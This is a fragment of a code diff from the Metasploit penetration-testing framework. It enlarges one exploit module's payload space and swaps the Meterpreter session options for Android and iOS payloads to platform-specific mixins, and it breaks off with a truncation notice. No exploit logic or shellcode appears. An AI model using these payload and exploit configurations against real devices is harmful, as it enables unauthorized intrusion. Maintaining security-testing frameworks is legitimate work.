@@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Payload' => {
'DisableNops' => true,
'Space' => 730,
'Space' => 1200,
'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
@@ -10,7 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MeterpreterOptions::Android
def initialize(info = {})
super(
@@ -10,7 +10,7 @@ module MetasploitModule
include Msf::Payload::Single
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MeterpreterOptions::Android
def initialize(info = {})
super(
@@ -9,7 +9,7 @@ module MetasploitModule
include Msf::Payload::TransportConfig
include Msf::Payload::Single
include Msf::Payload::Android
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MeterpreterOptions::Android
def initialize(info = {})
super(
@@ -8,7 +8,7 @@ module MetasploitModule
CachedSize = 861968
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MeterpreterOptions::AppleIos
include Msf::Sessions::MettleConfig
def initialize(info = {})

Some files were not shown because too many files have changed in this diff Show More